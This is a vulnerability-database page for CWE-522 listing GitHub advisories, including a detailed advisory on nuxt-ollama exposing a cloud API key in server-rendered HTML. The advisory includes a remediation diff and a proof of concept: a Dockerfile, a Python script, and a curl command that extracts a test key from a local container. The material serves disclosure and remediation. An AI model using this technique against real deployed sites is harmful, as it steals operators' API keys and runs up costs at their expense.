CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
2039 vulnerabilities reference this CWE, most recent first.
GHSA-FWM8-CG5F-XC9C
Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2025-02-10 15:32Use of reversible password encryption algorithm allows attackers to decrypt passwords. Sensitive information can be easily unencrypted by the attacker, stolen credentials can be used for arbitrary actions to corrupt the system.
{
"affected": [],
"aliases": [
"CVE-2024-3543"
],
"database_specific": {
"cwe_ids": [
"CWE-257",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-02T14:15:10Z",
"severity": "MODERATE"
},
"details": "Use of reversible password encryption algorithm allows attackers to decrypt passwords.\u00a0 Sensitive information can be easily unencrypted by the attacker, stolen credentials can be used for arbitrary actions to corrupt the system.",
"id": "GHSA-fwm8-cg5f-xc9c",
"modified": "2025-02-10T15:32:09Z",
"published": "2024-05-02T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3543"
},
{
"type": "WEB",
"url": "https://kemptechnologies.com"
},
{
"type": "WEB",
"url": "https://support.kemptechnologies.com/hc/en-us/articles/25724813518605-ECS-Connection-Manager-Security-Vulnerabilities-CVE-2024-3544-and-CVE-2024-3543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FWVG-VMQ9-VFP5
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2022-05-13 01:15Verba Collaboration Compliance and Quality Management Platform before 9.2.1.5545 has Incorrect Access Control.
{
"affected": [],
"aliases": [
"CVE-2018-17871"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-04T19:29:00Z",
"severity": "MODERATE"
},
"details": "Verba Collaboration Compliance and Quality Management Platform before 9.2.1.5545 has Incorrect Access Control.",
"id": "GHSA-fwvg-vmq9-vfp5",
"modified": "2022-05-13T01:15:14Z",
"published": "2022-05-13T01:15:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17871"
},
{
"type": "WEB",
"url": "https://releases.verba.com/?v=9.2"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2018/Oct/12"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-023.txt"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/149651/Collaboration-Compliance-And-Quality-Management-Platform-9.1.1.5482-Disclosure.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FX3V-3576-98M4
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:43Dell EMC PowerConnect 8024, 7000, M6348, M6220, M8024 and M8024-K running firmware versions prior to 5.1.15.2 contain a plain-text password storage vulnerability. TACACS\Radius credentials are stored in plain text in the system settings menu. An authenticated malicious user with access to the system settings menu may obtain the exposed password to use it in further attacks.
{
"affected": [],
"aliases": [
"CVE-2019-3753"
],
"database_specific": {
"cwe_ids": [
"CWE-312",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-20T19:15:00Z",
"severity": "MODERATE"
},
"details": "Dell EMC PowerConnect 8024, 7000, M6348, M6220, M8024 and M8024-K running firmware versions prior to 5.1.15.2 contain a plain-text password storage vulnerability. TACACS\\Radius credentials are stored in plain text in the system settings menu. An authenticated malicious user with access to the system settings menu may obtain the exposed password to use it in further attacks.",
"id": "GHSA-fx3v-3576-98m4",
"modified": "2024-04-04T01:43:31Z",
"published": "2022-05-24T16:54:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3753"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/article/sln318359"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXG7-897C-57MP
Vulnerability from github – Published: 2026-09-09 23:47 – Updated: 2026-09-09 23:47Public Runtime Config Exposes Ollama API Key to Browser Clients
Summary
nuxt-ollama@1.2.26 unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.
Details
The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)
Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:
<script>
window.__NUXT__={};
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser
}
}
}
</script>
The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })
The complete data flow from source to sink:
README.md:71-80— official documentation instructs users to setollama.api_keyfor cloud Ollama modelssrc/module.ts:35-36— source:api_keyis merged intoruntimeConfig.public.ollama- Nuxt SSR runtime —
runtimeConfig.publicis serialized into HTML__NUXT__payload src/runtime/composables/useOllama.ts:6— browser composable readsuseRuntimeConfig().public.ollamasrc/runtime/composables/useOllama.ts:8-10— sink:options.api_keybecomesheaders.Authorizationin client-side HTTP request
The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.
Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:
- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
- runtimeConfig.public.ollama = defu(currentConfig, _options)
+ const { api_key, ...publicOptions } = _options
+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })
The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.
PoC
Prerequisites: Docker, Python 3
Step 1 — Build the vulnerable Nuxt app container
docker build \
-f /path/to/vuln-001/Dockerfile \
-t nuxt-ollama-vuln-001 \
/path/to/npmAI_735_thoda-dev__nuxt-ollama
The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123' // sentinel key
}
})
Step 2 — Start the container
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001
Step 3 — Retrieve the API key with a single unauthenticated HTTP request
curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Expected: api_key":"LEAKED_TEST_KEY_123"
Automated PoC script
python3 /path/to/vuln-001/poc.py
Expected output (confirmed in dynamic reproduction):
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123"
}
}
}
The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.
Impact
This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.
Who is impacted:
- Operators/developers who follow the official documentation to configure
ollama.api_keyfor cloud Ollama models. They are unaware that the key is being published to every visitor. - End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.
Potential consequences of key theft:
- Unauthorized use of the Ollama cloud API at the operator's cost
- Rate-limit exhaustion or quota abuse
- Data exfiltration if the compromised key has read access to stored models or conversations
- Reputational damage and service disruption for the affected application
The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
# src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
# This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.
FROM node:20-alpine
# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4
WORKDIR /app
# Copy the nuxt-ollama source repository
COPY repo/ ./
# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile
# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123'
}
})
EOF
# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ollama') which requires
# a live Ollama server; replacing it keeps this PoC self-contained.
RUN cat > playground/app.vue << 'EOF'
<template>
<div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div>
</template>
EOF
# Build the playground in production SSR mode.
# During the module setup() call, src/module.ts:36 merges all _options (including
# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
# runtimeConfig.public into the HTML response for client-side hydration.
RUN pnpm exec nuxi build playground
EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO_HOST=0.0.0.0
ENV NITRO_PORT=3000
CMD ["node", "/app/playground/.output/server/index.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE : CWE-522 - Insufficiently Protected Credentials
CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire _options object—api_key included—into runtimeConfig.public.ollama.
Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block (__NUXT__ /
__NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore
returns the api_key in plain text, with no authentication required.
This script:
1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
2. Starts the image as a local container.
3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
4. Prints an evidence excerpt and writes phase2_result.json.
"""
import json
import os
import subprocess
import sys
import time
import urllib.request
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_KEY = "LEAKED_TEST_KEY_123"
IMAGE_NAME = "nuxt-ollama-vuln-001"
CONTAINER_NAME = "nuxt-ollama-poc-001"
HOST = "127.0.0.1"
PORT = 3000
URL = f"http://{HOST}:{PORT}/"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/)
DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")
BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD = (
f"docker run -d --name {CONTAINER_NAME} "
f"-p {PORT}:{PORT} {IMAGE_NAME}"
)
POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def run_cmd(cmd_list, check=True, capture=False):
"""Execute a command, printing it first; return CompletedProcess."""
print(f"[cmd] {' '.join(cmd_list)}", flush=True)
return subprocess.run(
cmd_list,
check=check,
capture_output=capture,
text=bool(capture),
)
def cleanup_container():
"""Remove the PoC container if it already exists."""
subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)
def wait_for_server(url, timeout=180, interval=5):
"""Poll url until it returns a non-5xx response or the timeout expires."""
print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True)
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=5) as resp:
if resp.status < 500:
print(f"[+] Server up — HTTP {resp.status}", flush=True)
return True
except Exception:
pass
time.sleep(interval)
return False
def save_result(data):
"""Write phase2_result.json and echo its path."""
with open(RESULT_FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, ensure_ascii=False, indent=2)
print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
print("=" * 66)
print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
print("=" * 66, flush=True)
cleanup_container()
# ------------------------------------------------------------------
# Step 1 — Build Docker image
# ------------------------------------------------------------------
print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
build_rc = run_cmd(
["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
check=False,
).returncode
if build_rc != 0:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"docker build exited with returncode={build_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
print("[+] Image built successfully.", flush=True)
# ------------------------------------------------------------------
# Step 2 — Start the container
# ------------------------------------------------------------------
print("\n[STEP 2] Starting container ...", flush=True)
run_rc = run_cmd(
["docker", "run", "-d",
"--name", CONTAINER_NAME,
"-p", f"{PORT}:{PORT}",
IMAGE_NAME],
check=False,
).returncode
if run_rc != 0:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 컨테이너 실행 실패.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"docker run exited with returncode={run_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
# ------------------------------------------------------------------
# Step 3 — Wait for Nuxt SSR server
# ------------------------------------------------------------------
print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
if not wait_for_server(URL, timeout=180):
logs = subprocess.run(
["docker", "logs", CONTAINER_NAME],
capture_output=True, text=True,
)
log_snippet = (logs.stdout + logs.stderr)[-2000:]
print("[!] Server did not respond within timeout. Container logs:\n", log_snippet)
save_result({
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": log_snippet,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
# ------------------------------------------------------------------
# Step 4 — Fetch the rendered HTML page
# ------------------------------------------------------------------
print(f"\n[STEP 4] GET {URL} ...", flush=True)
try:
with urllib.request.urlopen(URL, timeout=15) as resp:
html = resp.read().decode("utf-8", errors="replace")
except Exception as exc:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": f"HTTP 요청 실패: {exc}",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": str(exc),
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
print(f"[+] Received {len(html)} bytes.", flush=True)
# ------------------------------------------------------------------
# Step 5 — Verify TARGET_KEY is present in the HTTP response body
# ------------------------------------------------------------------
print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)
if TARGET_KEY in html:
idx = html.index(TARGET_KEY)
start = max(0, idx - 200)
end = min(len(html), idx + len(TARGET_KEY) + 200)
excerpt = html[start:end].strip()
print(f"\n{'='*66}")
print(f"[PASS] VULNERABILITY CONFIRMED")
print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.")
print(f"{'='*66}")
print(f"Evidence excerpt:\n\n{excerpt}\n")
print(f"{'='*66}")
save_result({
"passed": True,
"verdict": "PASS",
"reason": (
"nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 "
"runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
"__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
"LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": excerpt,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(0)
else:
snippet = html[:3000]
print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.")
print("--- HTML (first 3000 chars) ---")
print(snippet)
save_result({
"passed": False,
"verdict": "FAIL",
"reason": (
f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
"Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": snippet[:1500],
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt-ollama"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.26"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59158"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:47:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Public Runtime Config Exposes Ollama API Key to Browser Clients\n\n### Summary\n\n`nuxt-ollama@1.2.26` unconditionally merges all module options \u2014 including `api_key` \u2014 into Nuxt\u0027s **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `\u003cscript\u003e` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator\u0027s expense.\n\n### Details\n\nThe vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object \u2014 which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` \u2014 is merged into the **public** runtime config namespace:\n\n```ts\n// src/module.ts:35-36\nconst currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\nruntimeConfig.public.ollama = defu(currentConfig, _options)\n```\n\nNuxt\u0027s SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block:\n\n```html\n\u003cscript\u003e\nwindow.__NUXT__={};\nwindow.__NUXT__.config={\n public:{\n ollama:{\n protocol:\"https\",\n host:\"api.ollama.com\",\n port:\"\",\n proxy:false,\n api_key:\"LEAKED_TEST_KEY_123\" // \u2190 secret exposed to browser\n }\n }\n}\n\u003c/script\u003e\n```\n\nThe browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls:\n\n```ts\n// src/runtime/composables/useOllama.ts:6-10\nconst options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions\nif (options.api_key) {\n headers.Authorization = `Bearer ${options.api_key}`\n}\nreturn new Ollama({ host, proxy: options.proxy, headers })\n```\n\nThe complete data flow from source to sink:\n\n1. `README.md:71-80` \u2014 official documentation instructs users to set `ollama.api_key` for cloud Ollama models\n2. `src/module.ts:35-36` \u2014 **source**: `api_key` is merged into `runtimeConfig.public.ollama`\n3. Nuxt SSR runtime \u2014 `runtimeConfig.public` is serialized into HTML `__NUXT__` payload\n4. `src/runtime/composables/useOllama.ts:6` \u2014 browser composable reads `useRuntimeConfig().public.ollama`\n5. `src/runtime/composables/useOllama.ts:8-10` \u2014 **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request\n\nThe `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization.\n\n**Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable:\n\n```diff\n- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\n- runtimeConfig.public.ollama = defu(currentConfig, _options)\n+ const { api_key, ...publicOptions } = _options\n+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit\u003cOllamaOptions, \u0027api_key\u0027\u003e\n+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)\n+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick\u003cModuleOptions, \u0027api_key\u0027\u003e\n+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })\n```\n\nThe `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`.\n\n### PoC\n\n**Prerequisites:** Docker, Python 3\n\n**Step 1 \u2014 Build the vulnerable Nuxt app container**\n\n```bash\ndocker build \\\n -f /path/to/vuln-001/Dockerfile \\\n -t nuxt-ollama-vuln-001 \\\n /path/to/npmAI_735_thoda-dev__nuxt-ollama\n```\n\nThe Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` \u2014 the exact cloud configuration pattern from `README.md:71-80`:\n\n```ts\nexport default defineNuxtConfig({\n modules: [\u0027../src/module\u0027],\n compatibilityDate: \u00272025-10-29\u0027,\n devtools: { enabled: false },\n ollama: {\n protocol: \u0027https\u0027,\n host: \u0027api.ollama.com\u0027,\n api_key: \u0027LEAKED_TEST_KEY_123\u0027 // sentinel key\n }\n})\n```\n\n**Step 2 \u2014 Start the container**\n\n```bash\ndocker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001\n```\n\n**Step 3 \u2014 Retrieve the API key with a single unauthenticated HTTP request**\n\n```bash\ncurl -s http://127.0.0.1:3000/ | grep -o \u0027api_key\":\"[^\"]*\"\u0027\n# Expected: api_key\":\"LEAKED_TEST_KEY_123\"\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py\n```\n\n**Expected output (confirmed in dynamic reproduction):**\n\n```\nwindow.__NUXT__.config={\n public:{\n ollama:{\n protocol:\"https\",\n host:\"api.ollama.com\",\n port:\"\",\n proxy:false,\n api_key:\"LEAKED_TEST_KEY_123\"\n }\n }\n}\n```\n\nThe sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.\n\n### Impact\n\nThis is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party \u2014 including passive network observers, web crawlers, or anonymous visitors \u2014 who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload.\n\n**Who is impacted:**\n\n- **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor.\n- **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.\n\n**Potential consequences of key theft:**\n\n- Unauthorized use of the Ollama cloud API at the operator\u0027s cost\n- Rate-limit exhaustion or quota abuse\n- Data exfiltration if the compromised key has read access to stored models or conversations\n- Reputational damage and service disruption for the affected application\n\nThe vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n# VULN-001 PoC: nuxt-ollama@1.2.26 \u2014 Public Runtime Config Exposes Ollama API Key\n# CWE-522: Insufficiently Protected Credentials\n# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)\n#\n# Vulnerability mechanism:\n# src/module.ts:36 \u2014 runtimeConfig.public.ollama = defu(currentConfig, _options)\n# This places api_key into Nuxt\u0027s PUBLIC runtime config, which Nuxt serializes\n# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).\n# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.\n\nFROM node:20-alpine\n\n# Install pnpm matching the repo\u0027s packageManager field (pnpm@10.33.4)\nRUN npm install -g pnpm@10.33.4\n\nWORKDIR /app\n\n# Copy the nuxt-ollama source repository\nCOPY repo/ ./\n\n# Install all project dependencies.\n# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false\nRUN pnpm install --frozen-lockfile\n\n# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate\n# a real-world cloud Ollama deployment as documented in README.md:71-80.\n# This is the exact vulnerable configuration pattern described in the docs.\nRUN cat \u003e playground/nuxt.config.ts \u003c\u003c \u0027EOF\u0027\nexport default defineNuxtConfig({\n modules: [\u0027../src/module\u0027],\n compatibilityDate: \u00272025-10-29\u0027,\n devtools: { enabled: false },\n ollama: {\n protocol: \u0027https\u0027,\n host: \u0027api.ollama.com\u0027,\n api_key: \u0027LEAKED_TEST_KEY_123\u0027\n }\n})\nEOF\n\n# Replace app.vue with a minimal template that does NOT make Ollama API calls.\n# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.\n# The original playground app.vue calls useFetch(\u0027/api/ollama\u0027) which requires\n# a live Ollama server; replacing it keeps this PoC self-contained.\nRUN cat \u003e playground/app.vue \u003c\u003c \u0027EOF\u0027\n\u003ctemplate\u003e\n \u003cdiv\u003enuxt-ollama VULN-001 PoC \u2014 check Nuxt SSR payload for api_key\u003c/div\u003e\n\u003c/template\u003e\nEOF\n\n# Build the playground in production SSR mode.\n# During the module setup() call, src/module.ts:36 merges all _options (including\n# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes\n# runtimeConfig.public into the HTML response for client-side hydration.\nRUN pnpm exec nuxi build playground\n\nEXPOSE 3000\nENV HOST=0.0.0.0\nENV PORT=3000\nENV NITRO_HOST=0.0.0.0\nENV NITRO_PORT=3000\n\nCMD [\"node\", \"/app/playground/.output/server/index.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nPackage : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)\nTitle : Public Runtime Config Exposes Ollama API Key to Browser Clients\nCWE : CWE-522 - Insufficiently Protected Credentials\nCVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\nAttack summary\n--------------\nWhen a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80\nfor cloud Ollama), the module\u0027s setup() function in src/module.ts:36 merges the\nentire _options object\u2014api_key included\u2014into runtimeConfig.public.ollama.\n\nNuxt\u0027s SSR pipeline serialises runtimeConfig.public for client-side hydration and\nembeds it in the HTML response inside a \u003cscript\u003e payload block (__NUXT__ /\n__NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore\nreturns the api_key in plain text, with no authentication required.\n\nThis script:\n 1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.\n 2. Starts the image as a local container.\n 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.\n 4. Prints an evidence excerpt and writes phase2_result.json.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nTARGET_KEY = \"LEAKED_TEST_KEY_123\"\nIMAGE_NAME = \"nuxt-ollama-vuln-001\"\nCONTAINER_NAME = \"nuxt-ollama-poc-001\"\nHOST = \"127.0.0.1\"\nPORT = 3000\nURL = f\"http://{HOST}:{PORT}/\"\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR = 